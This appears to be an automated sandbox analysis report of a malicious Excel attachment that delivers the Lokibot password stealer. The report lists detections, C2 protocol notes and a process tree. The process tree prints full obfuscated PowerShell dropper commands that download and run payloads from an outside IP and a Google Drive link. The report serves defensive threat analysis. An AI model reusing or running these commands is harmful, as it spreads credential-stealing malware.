Edit tour

Windows Analysis Report
Shipping Documents WMLREF115900.xls

Overview

General Information

Sample name:	Shipping Documents WMLREF115900.xls
Analysis ID:	1540834
MD5:	98502d8342f1afd8b699b26ff777a919
SHA1:	0d0c6a6f90611fee9c232d90fca0776dbbff5241
SHA256:	40bcfababa169393524d58a9447ea465ac7a18edd09ae9eaea2739c8d77dab9d
Tags:	xlsuser-abuse_ch
Infos:

Detection

Lokibot

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Lokibot

Yara detected Powershell download and execute

Bypasses PowerShell execution policy

Document exploit detected (process start blacklist hit)

Excel sheet contains many unusual embedded objects

Injects a PE file into a foreign processes

Installs new ROOT certificates

Machine Learning detection for sample

Microsoft Office drops suspicious files

Obfuscated command line found

PowerShell case anomaly found

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: File With Uncommon Extension Created By An Office Application

Sigma detected: Potential PowerShell Command Line Obfuscation

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious Microsoft Office Child Process

Sigma detected: Suspicious PowerShell Parameter Substring

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Compiles C# or VB.Net code

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Document contains embedded VBA macros

Document embeds suspicious OLE2 link

Drops PE files

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Searches the installation path of Mozilla Firefox

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Excel Network Connections

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Suspicious Office Outbound Connections

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 3208 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

mshta.exe (PID: 3484 cmdline: C:\Windows\System32\mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5)

powershell.exe (PID: 3568 cmdline: "C:\Windows\sYSTEm32\WinDOWspOwershElL\v1.0\pOweRshEll.eXe" "PoWeRshELL.exE -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE ; Iex($(IEx('[sYsTem.TeXt.eNcOdiNg]'+[ChAR]58+[chAR]0X3A+'utf8.getSTrIng([sYsTeM.cOnvErt]'+[CHar]0x3A+[cHaR]0x3A+'frOMbAsE64StrinG('+[ChAR]0x22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQkVyZEVGSU5pdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1vbi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmhQQVdhVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpIT0djVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFvLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxzaGJQSHRzLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuaWVlIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB3WUlpRnNleCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTQxLzM2L2dvb2R0aGluZ3N3aXRoZ3JlYXRjb21lYmFja3dpdGhncmVhdHRoaWducy50SUYiLCIkRU5WOkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMiLDAsMCk7c1RhUnQtc2xlZVAoMyk7U3RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMi'+[ChAr]34+'))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D)

powershell.exe (PID: 3676 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE MD5: A575A7610E5F003CC36DF39E07C4BA7D)

csc.exe (PID: 3772 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\41k31je4\41k31je4.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1)

cvtres.exe (PID: 3780 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4A69.tmp" "c:\Users\user\AppData\Local\Temp\41k31je4\CSC1CC2DACCE81D4F99A1AD504B85F71256.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

wscript.exe (PID: 3864 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\goodthingswithgreatcomebackwithgreatthig.vbS" MD5: 045451FA238A75305CC26AC982472367)

powershell.exe (PID: 3912 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnVUNRaW1hZ2VVcmwgPSAwVERodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2EnKydkJysnJmlkPTFBSVZnSkpKdjFGNnZTNHNVT3libkgtc0R2VWhCWXd1ciAwVEQ7VUNRd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlcnKydlYkNsaWVudDtVQ1FpbWFnZUJ5dGVzID0gVUNRd2ViQ2xpZW50LkRvd25sb2FkRGF0YShVQ1FpbScrJ2FnZVVybCk7VUNRaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcnKycoVUNRaW1hZ2VCeXRlcyk7VUNRc3RhcnRGbGFnID0gMFREPDxCQVNFNjRfU1RBUlQ+PjBURDtVQ1EnKydlbmRGbGFnID0gMFREPDxCQVNFNjRfRU5EPj4wVEQ7VUNRc3RhcnRJbmRleCA9IFVDUWltYWdlVGV4dC5JbmRleE9mKFVDUXN0YXJ0RmxhZyk7VUNRZW5kSW5kZXggPSBVQ1FpbWFnZVRleHQuSW5kZXhPZihVQ1FlbmRGbGFnKTtVQ1FzdCcrJ2FydEluZGV4IC1nZSAwIC1hbmQgVUNRZW5kSW5kZXggLWd0IFVDUXN0YXJ0SW5kZXg7VUNRc3RhcnRJbmRleCArPSBVQ1FzdGFydEZsYWcuTGVuZ3RoO1VDUWJhc2U2NCcrJ0xlbmd0aCA9ICcrJ1VDJysnUScrJ2VuZEluZGV4IC0gVUNRc3RhcnRJbmRleDtVQ1FiYXNlNjRDb21tYW5kICcrJz0gVUNRaW1hZ2VUZXh0LlN1YnN0cmluZyhVQ1FzdGFydEluZGV4LCBVQ1FiYXNlNjRMZW5ndGgpO1VDUWJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFVDUWJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBQeXogRm9yRWFjaC1PYmplY3QgeyBVQ1FfIH0pWycrJy0xLi4tKFVDUWJhc2U2NENvbW1hbmQuTGVuZ3RoKV07VUNRY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhVQ1FiYXNlNjRSZXZlcnNlZCk7VUNRbG9hZGVkQXNzJysnZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFVDUWNvbW1hbmRCeXRlcyk7VUMnKydRdmFpTWV0aG9kID0gW2RubGliLklPLkhvbScrJ2VdLkdldE1ldGhvZCgwVERWQUkwVEQpO1VDUXZhaU1ldGhvZC5JbnZva2UoJysnVUNRJysnbnVsbCwgQCgwVER0eHQuSUtPTDAyJVNHT0wvNjMvMTQxLjYnKyc3MS4zLjI5MS8vOnB0dGgwVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aScrJ3ZhZG8wVEQsIDBUREFkZEluUHJvY2VzczMyMFRELCAwVERkZXNhdGl2YWRvMFRELCAwVERkZXNhdGl2YWRvMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwnKycwVERkZXNhdGl2YWRvJysnMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwwVCcrJ0QxMFRELDBURGRlc2F0aXZhZCcrJ28wVEQpKScrJzsnKS1yRXBsYWNFJ1VDUScsW2NIYVJdMzYgIC1yRXBsYWNFJzBURCcsW2NIYVJdMzkgIC1yRXBsYWNFIChbY0hhUl04MCtbY0hhUl0xMjErW2NIYVJdMTIyKSxbY0hhUl0xMjQpIHwuICgoR0VULXZhUklhQkxlICcqbWRyKicpLm5hTUVbMywxMSwyXS1Kb0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: A575A7610E5F003CC36DF39E07C4BA7D)

powershell.exe (PID: 4000 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('UCQimageUrl = 0TDhttps://drive.google.com/uc?export=downloa'+'d'+'&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur 0TD;UCQwebClient = New-Object System.Net.W'+'ebClient;UCQimageBytes = UCQwebClient.DownloadData(UCQim'+'ageUrl);UCQimageText = [System.Text.Encoding]::UTF8.GetString'+'(UCQimageBytes);UCQstartFlag = 0TD<<BASE64_START>>0TD;UCQ'+'endFlag = 0TD<<BASE64_END>>0TD;UCQstartIndex = UCQimageText.IndexOf(UCQstartFlag);UCQendIndex = UCQimageText.IndexOf(UCQendFlag);UCQst'+'artIndex -ge 0 -and UCQendIndex -gt UCQstartIndex;UCQstartIndex += UCQstartFlag.Length;UCQbase64'+'Length = '+'UC'+'Q'+'endIndex - UCQstartIndex;UCQbase64Command '+'= UCQimageText.Substring(UCQstartIndex, UCQbase64Length);UCQbase64Reversed = -join (UCQbase64Command.ToCharArray() Pyz ForEach-Object { UCQ_ })['+'-1..-(UCQbase64Command.Length)];UCQcommandBytes = [System.Convert]::FromBase64String(UCQbase64Reversed);UCQloadedAss'+'embly = [System.Reflection.Assembly]::Load(UCQcommandBytes);UC'+'QvaiMethod = [dnlib.IO.Hom'+'e].GetMethod(0TDVAI0TD);UCQvaiMethod.Invoke('+'UCQ'+'null, @(0TDtxt.IKOL02%SGOL/63/141.6'+'71.3.291//:ptth0TD, 0TDdesativado0TD, 0TDdesativado0TD, 0TDdesati'+'vado0TD, 0TDAddInProcess320TD, 0TDdesativado0TD, 0TDdesativado0TD,0TDdesativado0TD,0TDdesativado0TD,'+'0TDdesativado'+'0TD,0TDdesativado0TD,0TDdesativado0TD,0T'+'D10TD,0TDdesativad'+'o0TD))'+';')-rEplacE'UCQ',[cHaR]36 -rEplacE'0TD',[cHaR]39 -rEplacE ([cHaR]80+[cHaR]121+[cHaR]122),[cHaR]124) |. ((GET-vaRIaBLe '*mdr*').naME[3,11,2]-JoIN'')" MD5: A575A7610E5F003CC36DF39E07C4BA7D)

AddInProcess32.exe (PID: 3496 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe" MD5: EFBCDD2A3EBEA841996AEF00417AA958)

mshta.exe (PID: 2600 cmdline: C:\Windows\System32\mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5)

powershell.exe (PID: 2464 cmdline: "C:\Windows\sYSTEm32\WinDOWspOwershElL\v1.0\pOweRshEll.eXe" "PoWeRshELL.exE -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE ; Iex($(IEx('[sYsTem.TeXt.eNcOdiNg]'+[ChAR]58+[chAR]0X3A+'utf8.getSTrIng([sYsTeM.cOnvErt]'+[CHar]0x3A+[cHaR]0x3A+'frOMbAsE64StrinG('+[ChAR]0x22+'JFQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC1UWVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtQkVyZEVGSU5pdGlvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVybG1vbi5kTEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUmhQQVdhVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFpIT0djVSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFFvLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxzaGJQSHRzLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaik7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuaWVlIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWVTcEFjZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnB3WUlpRnNleCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4xNzYuMTQxLzM2L2dvb2R0aGluZ3N3aXRoZ3JlYXRjb21lYmFja3dpdGhncmVhdHRoaWducy50SUYiLCIkRU5WOkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMiLDAsMCk7c1RhUnQtc2xlZVAoMyk7U3RhcnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU52OkFQUERBVEFcZ29vZHRoaW5nc3dpdGhncmVhdGNvbWViYWNrd2l0aGdyZWF0dGhpZy52YlMi'+[ChAr]34+'))')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D)

powershell.exe (PID: 1692 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bYpASs -NOp -w 1 -c DEvICecrEdentiaLdePlOYMent.ExE MD5: A575A7610E5F003CC36DF39E07C4BA7D)

csc.exe (PID: 3104 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sblybu2m\sblybu2m.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1)

cvtres.exe (PID: 2716 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8FC2.tmp" "c:\Users\user\AppData\Local\Temp\sblybu2m\CSCFEB4FC09456049919CFF236451FA82A.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

wscript.exe (PID: 3268 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\goodthingswithgreatcomebackwithgreatthig.vbS" MD5: 045451FA238A75305CC26AC982472367)

powershell.exe (PID: 2072 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnVUNRaW1hZ2VVcmwgPSAwVERodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2EnKydkJysnJmlkPTFBSVZnSkpKdjFGNnZTNHNVT3libkgtc0R2VWhCWXd1ciAwVEQ7VUNRd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LlcnKydlYkNsaWVudDtVQ1FpbWFnZUJ5dGVzID0gVUNRd2ViQ2xpZW50LkRvd25sb2FkRGF0YShVQ1FpbScrJ2FnZVVybCk7VUNRaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcnKycoVUNRaW1hZ2VCeXRlcyk7VUNRc3RhcnRGbGFnID0gMFREPDxCQVNFNjRfU1RBUlQ+PjBURDtVQ1EnKydlbmRGbGFnID0gMFREPDxCQVNFNjRfRU5EPj4wVEQ7VUNRc3RhcnRJbmRleCA9IFVDUWltYWdlVGV4dC5JbmRleE9mKFVDUXN0YXJ0RmxhZyk7VUNRZW5kSW5kZXggPSBVQ1FpbWFnZVRleHQuSW5kZXhPZihVQ1FlbmRGbGFnKTtVQ1FzdCcrJ2FydEluZGV4IC1nZSAwIC1hbmQgVUNRZW5kSW5kZXggLWd0IFVDUXN0YXJ0SW5kZXg7VUNRc3RhcnRJbmRleCArPSBVQ1FzdGFydEZsYWcuTGVuZ3RoO1VDUWJhc2U2NCcrJ0xlbmd0aCA9ICcrJ1VDJysnUScrJ2VuZEluZGV4IC0gVUNRc3RhcnRJbmRleDtVQ1FiYXNlNjRDb21tYW5kICcrJz0gVUNRaW1hZ2VUZXh0LlN1YnN0cmluZyhVQ1FzdGFydEluZGV4LCBVQ1FiYXNlNjRMZW5ndGgpO1VDUWJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFVDUWJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSBQeXogRm9yRWFjaC1PYmplY3QgeyBVQ1FfIH0pWycrJy0xLi4tKFVDUWJhc2U2NENvbW1hbmQuTGVuZ3RoKV07VUNRY29tbWFuZEJ5dGVzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhVQ1FiYXNlNjRSZXZlcnNlZCk7VUNRbG9hZGVkQXNzJysnZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFVDUWNvbW1hbmRCeXRlcyk7VUMnKydRdmFpTWV0aG9kID0gW2RubGliLklPLkhvbScrJ2VdLkdldE1ldGhvZCgwVERWQUkwVEQpO1VDUXZhaU1ldGhvZC5JbnZva2UoJysnVUNRJysnbnVsbCwgQCgwVER0eHQuSUtPTDAyJVNHT0wvNjMvMTQxLjYnKyc3MS4zLjI5MS8vOnB0dGgwVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aXZhZG8wVEQsIDBURGRlc2F0aScrJ3ZhZG8wVEQsIDBUREFkZEluUHJvY2VzczMyMFRELCAwVERkZXNhdGl2YWRvMFRELCAwVERkZXNhdGl2YWRvMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwnKycwVERkZXNhdGl2YWRvJysnMFRELDBURGRlc2F0aXZhZG8wVEQsMFREZGVzYXRpdmFkbzBURCwwVCcrJ0QxMFRELDBURGRlc2F0aXZhZCcrJ28wVEQpKScrJzsnKS1yRXBsYWNFJ1VDUScsW2NIYVJdMzYgIC1yRXBsYWNFJzBURCcsW2NIYVJdMzkgIC1yRXBsYWNFIChbY0hhUl04MCtbY0hhUl0xMjErW2NIYVJdMTIyKSxbY0hhUl0xMjQpIHwuICgoR0VULXZhUklhQkxlICcqbWRyKicpLm5hTUVbMywxMSwyXS1Kb0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: A575A7610E5F003CC36DF39E07C4BA7D)

powershell.exe (PID: 3560 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('UCQimageUrl = 0TDhttps://drive.google.com/uc?export=downloa'+'d'+'&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur 0TD;UCQwebClient = New-Object System.Net.W'+'ebClient;UCQimageBytes = UCQwebClient.DownloadData(UCQim'+'ageUrl);UCQimageText = [System.Text.Encoding]::UTF8.GetString'+'(UCQimageBytes);UCQstartFlag = 0TD<<BASE64_START>>0TD;UCQ'+'endFlag = 0TD<<BASE64_END>>0TD;UCQstartIndex = UCQimageText.IndexOf(UCQstartFlag);UCQendIndex = UCQimageText.IndexOf(UCQendFlag);UCQst'+'artIndex -ge 0 -and UCQendIndex -gt UCQstartIndex;UCQstartIndex += UCQstartFlag.Length;UCQbase64'+'Length = '+'UC'+'Q'+'endIndex - UCQstartIndex;UCQbase64Command '+'= UCQimageText.Substring(UCQstartIndex, UCQbase64Length);UCQbase64Reversed = -join (UCQbase64Command.ToCharArray() Pyz ForEach-Object { UCQ_ })['+'-1..-(UCQbase64Command.Length)];UCQcommandBytes = [System.Convert]::FromBase64String(UCQbase64Reversed);UCQloadedAss'+'embly = [System.Reflection.Assembly]::Load(UCQcommandBytes);UC'+'QvaiMethod = [dnlib.IO.Hom'+'e].GetMethod(0TDVAI0TD);UCQvaiMethod.Invoke('+'UCQ'+'null, @(0TDtxt.IKOL02%SGOL/63/141.6'+'71.3.291//:ptth0TD, 0TDdesativado0TD, 0TDdesativado0TD, 0TDdesati'+'vado0TD, 0TDAddInProcess320TD, 0TDdesativado0TD, 0TDdesativado0TD,0TDdesativado0TD,0TDdesativado0TD,'+'0TDdesativado'+'0TD,0TDdesativado0TD,0TDdesativado0TD,0T'+'D10TD,0TDdesativad'+'o0TD))'+';')-rEplacE'UCQ',[cHaR]36 -rEplacE'0TD',[cHaR]39 -rEplacE ([cHaR]80+[cHaR]121+[cHaR]122),[cHaR]124) |. ((GET-vaRIaBLe '*mdr*').naME[3,11,2]-JoIN'')" MD5: A575A7610E5F003CC36DF39E07C4BA7D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Loki Password Stealer (PWS), LokiBot	"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets." - PhishMeLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.Loki-Bot accepts a single argument/switch of -u that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.The Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: B7E1C2CC98066B250DDB2123.Loki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: %APPDATA%\ C98066\.There can be four files within the hidden %APPDATA% directory at any given time: .exe, .lck, .hdb and .kdb. They will be named after characters 13 thru 18 of the Mutex. For example: 6B250D. Below is the explanation of their purpose:FILE EXTENSIONFILE DESCRIPTION.exeA copy of the malware that will execute every time the user account is logged into.lckA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts.hdbA database of hashes for data that has already been exfiltrated to the C2 server.kdbA database of keylogger data that has yet to be sent to the C2 serverIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.The first packet transmitted by Loki-Bot contains application data.The second packet transmitted by Loki-Bot contains decrypted Windows credentials.The third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.Communications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.The first WORD of the HTTP Payload represents the Loki-Bot version.The second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:BYTEPAYLOAD TYPE0x26Stolen Cryptocurrency Wallet0x27Stolen Application Data0x28Get C2 Commands from C2 Server0x29Stolen File0x2APOS (Point of Sale?)0x2BKeylogger Data0x2CScreenshotThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically ckav.ru. If you come across a Binary ID that is different from this, take note!Loki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.The Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bots C2 infrastructure.Loki-Bot can accept the following instructions from the C2 Server:BYTEINSTRUCTION DESCRIPTION0x00Download EXE & Execute0x01Download DLL & Load #10x02Download DLL & Load #20x08Delete HDB File0x09Start Keylogger0x0AMine & Steal Data0x0EExit Loki-Bot0x0FUpgrade Loki-Bot0x10Change C2 Polling Frequency0x11Delete Executables & ExitSuricata SignaturesRULE SIDRULE NAME2024311ET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected2024312ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M12024313ET TROJAN Loki Bot Request for C2 Commands Detected M12024314ET TROJAN Loki Bot File Exfiltration Detected2024315ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M12024316ET TROJAN Loki Bot Screenshot Exfiltration Detected2024317ET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M22024318ET TROJAN Loki Bot Request for C2 Commands Detected M22024319ET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2	SWEED The Gorgon Group Cobalt	http://blog.reversing.xyz/reversing/2021/06/08/lokibot.html http://reversing.fun/posts/2021/06/08/lokibot.html http://reversing.fun/reversing/2021/06/08/lokibot.html http://www.malware-traffic-analysis.net/2017/06/12/index.html https://blog.fortinet.com/2017/05/17/new-loki-variant-being-spread-via-pdf-file	https://malpedia.caad.fkie.fraunhofer.de/details/win.lokipws

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Lokibot_1	Yara detected Lokibot	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 4000	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 4000	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x5bae:$b2: ::FromBase64String( 0x61fc:$b2: ::FromBase64String( 0x7322:$b2: ::FromBase64String( 0x1ebab:$b2: ::FromBase64String( 0x27d13:$b2: ::FromBase64String( 0x2acae:$b2: ::FromBase64String( 0x2b2fd:$b2: ::FromBase64String( 0x38a90:$b2: ::FromBase64String( 0x390bf:$b2: ::FromBase64String( 0x580b7:$b2: ::FromBase64String( 0x5881c:$b2: ::FromBase64String( 0x699e7:$b2: ::FromBase64String( 0x6a8a5:$b2: ::FromBase64String( 0x6bd12:$b2: ::FromBase64String( 0x6c1b3:$b2: ::FromBase64String( 0x6c616:$b2: ::FromBase64String( 0x84937:$b2: ::FromBase64String( 0x6a66e:$b3: ::UTF8.GetString( 0x6bb0f:$b3: ::UTF8.GetString( 0x6bfb8:$b3: ::UTF8.GetString( 0x6c41d:$b3: ::UTF8.GetString(
